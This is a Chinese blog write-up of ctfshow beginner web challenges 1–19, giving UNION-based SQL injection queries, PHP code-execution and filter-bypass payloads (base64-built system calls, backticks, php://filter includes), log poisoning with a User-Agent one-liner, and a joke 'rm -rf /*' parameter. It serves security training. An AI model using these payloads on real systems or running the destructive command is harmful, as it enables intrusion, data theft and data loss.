CTF_ctfshow_meng新_web1-web24

打开靶机,发现包含有个config.php文件,打开进去没有数据

CTF_ctfshow_meng新_web1-web24_第1张图片所以直接开始代码审计吧~

有个变量为id,参数必须为1000才能获得flag,但id>999直接返回退出了。

尝试一下sql注入

CTF_ctfshow_meng新_web1-web24_第2张图片

整形注入:

看一下回显点

CTF_ctfshow_meng新_web1-web24_第3张图片

回显点为三

版本:10.3.18-MariaDB

CTF_ctfshow_meng新_web1-web24_第4张图片

数据库:web1

?id=2 union select 1,2,database()#

CTF_ctfshow_meng新_web1-web24_第5张图片

表:article

?id=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

字段:id,title,content

?id=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='article'#

内容:this is content,ctfshow{19b8411c-0a4e-4e19-8ecf-e2c97a8b00ce}

?id=2 union select 1,2,group_concat(content) from article#

 获得flag:ctfshow{19b8411c-0a4e-4e19-8ecf-e2c97a8b00ce}

看一下下一题的web2

CTF_ctfshow_meng新_web1-web24_第6张图片

发现只是过滤了or和大小写

但我们并未用or,所以不影响,库、表、字段这些都相同,所以直接上一题的语句一把梭

?id=2 union select 1,2,group_concat(content) from article#

CTF_ctfshow_meng新_web1-web24_第7张图片 

 flag:ctfshow{2749f076-ea82-45bc-b43b-8fae34472540}

web3同理,也是过滤,只不过过滤得更多了

 

不影响,直接梭:

?id=2 union select 1,2,group_concat(content) from article#

Web4,这里过滤了select,用se/**/lect、双写发现绕不过去

CTF_ctfshow_meng新_web1-web24_第8张图片

 

 但可以构造一个语句绕过intval函数

intval()函数:在转换整数时,如果被转换的是字符串,则会从最左边第一个字符开始转换,直到遇到非整数的字符才会停止转换

构造语句:

?id=2 || id=1000

CTF_ctfshow_meng新_web1-web24_第9张图片

flag:ctfshow{31c1e32b-6823-42e1-92cc-45460d801c55}

【萌新计划】web5

题目: 阿呆被老板狂骂一通,决定改掉自己大意的毛病,痛下杀手,修补漏洞。
解题思路: 题目代码

if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id))

利用字节操作,构造url

?id=~~1000 

web6:同理

?id=~~1000

web7发现禁了~符号

直接把十进制转2进制1000=ob1111101000

?id=0b1111101000CTF_ctfshow_meng新_web1-web24_第10张图片

ctfshow{9f481eac-19be-4c78-82b8-aeb00875cd8a} 

web8梗题

 

?flag=rm -rf /*

web9

CTF_ctfshow_meng新_web1-web24_第11张图片

 提示flag在config.php中,然后要包含/system|exec|highlight

这些函数的任意一个

所以直接梭:?c=highlight_file("config.php");

web10

CTF_ctfshow_meng新_web1-web24_第12张图片

 web9差不多,只是不能使用哪些函数,但php读取文件内容还有其它函数

如下:

// file_get_contents
print(sprintf("%'-10s%-'-30s", '-', 'file_get_contents').PHP_EOL);
echo file_get_contents('flag.txt');
echo PHP_EOL;

// fopen fread
print(sprintf("%'-10s%-'-30s", '-', 'fopen fread').PHP_EOL);
$file = fopen("flag.txt","rb");
echo fread($file,1024);     // 参数为 resource 类型
fclose($file);
echo PHP_EOL;

// fopen fgets
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgets').PHP_EOL);
$file = fopen("flag.txt","r");      
echo fgets($file, 4096);        // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;

// fopen fgetss
print(sprintf("%'-10s%-'-30s", '-', 'fopen fgetss').PHP_EOL);
$file = fopen("flag.txt","r");     
echo fgetss($file, 4096);        // 过滤掉了 HTML 和 PHP 标签
fclose($file);
echo PHP_EOL;

// readfile
print(sprintf("%'-10s%-'-30s", '-', 'readfile').PHP_EOL);
echo readfile("flag.txt");      // 看到不仅输出了所有内容,而且还输出了总共长度
echo PHP_EOL;

// file
print(sprintf("%'-10s%-'-30s", '-', 'file').PHP_EOL);
print_r(file('flag.txt'));      // 读取结果为数组,所以需要用 print_r 或 var_dump 
echo PHP_EOL;

// parse_ini_file
print(sprintf("%'-10s%-'-30s", '-', 'parse_ini_file').PHP_EOL);
echo parse_ini_file("flag.txt");        // 只能读取 ini 配置文件
echo PHP_EOL;

// show_source
print(sprintf("%'-10s%-'-30s", '-', 'show_source').PHP_EOL);
show_source('flag.txt');
echo PHP_EOL;

// highlight_file
print(sprintf("%'-10s%-'-30s", '-', 'highlight_file').PHP_EOL);
highlight_file('flag.txt');
echo PHP_EOL;

?c=show_source("config.php");

CTF_ctfshow_meng新_web1-web24_第13张图片

ctfshow{aa269eb9-2cb1-4af9-a73f-fb724d80fab4}

web11

CTF_ctfshow_meng新_web1-web24_第14张图片 

 只是过滤了cat

但不影响,直接读:?c=show_source("config.php");

CTF_ctfshow_meng新_web1-web24_第15张图片

ctfshow{cc30ffa0-d82a-43f5-bb6a-918c1aeaadc9} 

web12

CTF_ctfshow_meng新_web1-web24_第16张图片

passthru:passthru — 执行外部程序并且显示原始输出

 base64编码:

config.php:Y29uZmlnLnBocA==

system:c3lzdGVt

cat config.php:Y2F0IGNvbmZpZy5waHA=

用base64.decode绕过

?c=$a= base64_decode('Y29uZmlnLnBocA==');passthru("more $a");CTF_ctfshow_meng新_web1-web24_第17张图片

得到flag

法2,继续base64_decode绕过 

?c=$a=base64_decode("c3lzdGVt");$b=base64_decode("Y2F0IGNvbmZpZy5waHA=");$a($b);

CTF_ctfshow_meng新_web1-web24_第18张图片

flag:ctfshow{4808f87a-9844-4cce-a166-ef8d0b9a35bf} 

web13:过滤了分号,一次只能执行一句命令

CTF_ctfshow_meng新_web1-web24_第19张图片

 php中如果过滤了分号的话可以用?>来闭合命令

反引号``会将其中的内容当做系统命令来执行, 并返回一个字符串类型的变量用来保存执行结果, 下面的payload会先执行 `ls | grep con*`, 在将结果作为文件名供 more命令查询, 也就是 more config.php

 ?c=passthru("more `ls | grep con*`")?>

CTF_ctfshow_meng新_web1-web24_第20张图片

web14

include包含结合伪协议php://filter/read

构造payload:?c=include$_GET('a')?>$a=php://filter/read=convert.base64_encode/resource=config.php

获得结果:PD9waHANCiRmbGFnID0gImN0ZnNob3d7Yjk4YjcyZTgtOWU0YS00ZDkwLThiNGMtNjM2ZmRjNmQwNDhjfSI7DQo/Pg0K

base64解码

CTF_ctfshow_meng新_web1-web24_第21张图片

flag:ctfshow{b98b72e8-9e4a-4d90-8b4c-636fdc6d048c}

或 ?c=echo `$_REQUEST[a]`?>&a=cat config.php

web15

if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c))

  • 过滤了\* ? < > =
  • 但没过滤;

所以上一题修改一下

构造payload:?c=include$_GET['a'];&a=php://filter/read=convert.base64-encode/resource=config.php

得到base64

PD9waHANCiRmbGFnID0gImN0ZnNob3d7YzI0NWI4YmUtZTJlMi00OTA4LWFhOTctMmYxM2I0YWFjNmE0fSI7DQo/Pg0K

解码: $flag = "ctfshow{c245b8be-e2e2-4908-aa97-2f13b4aac6a4}";
?>

web16

CTF_ctfshow_meng新_web1-web24_第22张图片

直接源码放出来了,发现传的参数加ctfshow再md5之后要===a6f57ae38a22448c2f07f3f95f49c84e

所以反向思考a6f57ae38a22448c2f07f3f95f49c84e解密之后应该有ctfshow的字符串,只要去掉ctfshow的字符串即为答案:

解密网站MD5免费在线解密破解_MD5在线加密-SOMD5MD5在线免费破解,支持md5,sha1,mysql,sha256,sha512,md4,织梦,vBulletin,Discuz,md5(Joomla),mssql(2012),ntlm,md5(base64),sha1(base64),md5(wordpress),md5(Phpbb3),md5(Unix),des(Unix)等数十种加密方式icon-default.png?t=M4ADhttps://www.somd5.com/

CTF_ctfshow_meng新_web1-web24_第23张图片

 所以答案就为36d

flag: ctfshow{1c7fbd46-2b67-4358-a686-74d8d2ec4546}

web17

CTF_ctfshow_meng新_web1-web24_第24张图片

 过滤了php大小写

CTF_ctfshow_meng新_web1-web24_第25张图片

 抓波包,发现Server为nginx,nginx日志文件在/var/log/nginx/access.log

访问一下:

CTF_ctfshow_meng新_web1-web24_第26张图片

可以访问,直接抓包,把user-agent改为一句话,梭

CTF_ctfshow_meng新_web1-web24_第27张图片 

 CTF_ctfshow_meng新_web1-web24_第28张图片

ctfshow{c8b7e662-039d-47cd-8ad0-f55ce48ce9e6} 

web18与17同理,改useragent为一句话CTF_ctfshow_meng新_web1-web24_第29张图片

ctfshow{9329c42e-52c9-4e3c-a9f7-471a9bc6f6de} 

获得百分之百的快乐

CTF_ctfshow_meng新_web1-web24_第30张图片

 代码审计,变量为1,传参的长度必须<4

ls一下

?1=ls

nl secretsecret_ctfshow_36dddddddddd.php zzz.php //by Firebasky

有这些文件,nl是我刚刚传上去的,flag在第一个secretsecret_ctfshow_36dddddddddd.php文件中,如果直接cat的话,这个文件名字太长了,不行

所以这里用到nl命令,nl命令跟cat差不多

直接构造?1=>nl                创建一个名为nl的空文件

?1=*        把第一个文件的名字当中命令执行        相当于执行nl命令

CTF_ctfshow_meng新_web1-web24_第31张图片

直接获得flag:ctfshow{3148ca47-1a20-4165-997d-03c0a8bbf31c}

另外还有 22、23、24题没做,思考一下

感谢观看~

你可能感兴趣的:(CTF,安全,web安全)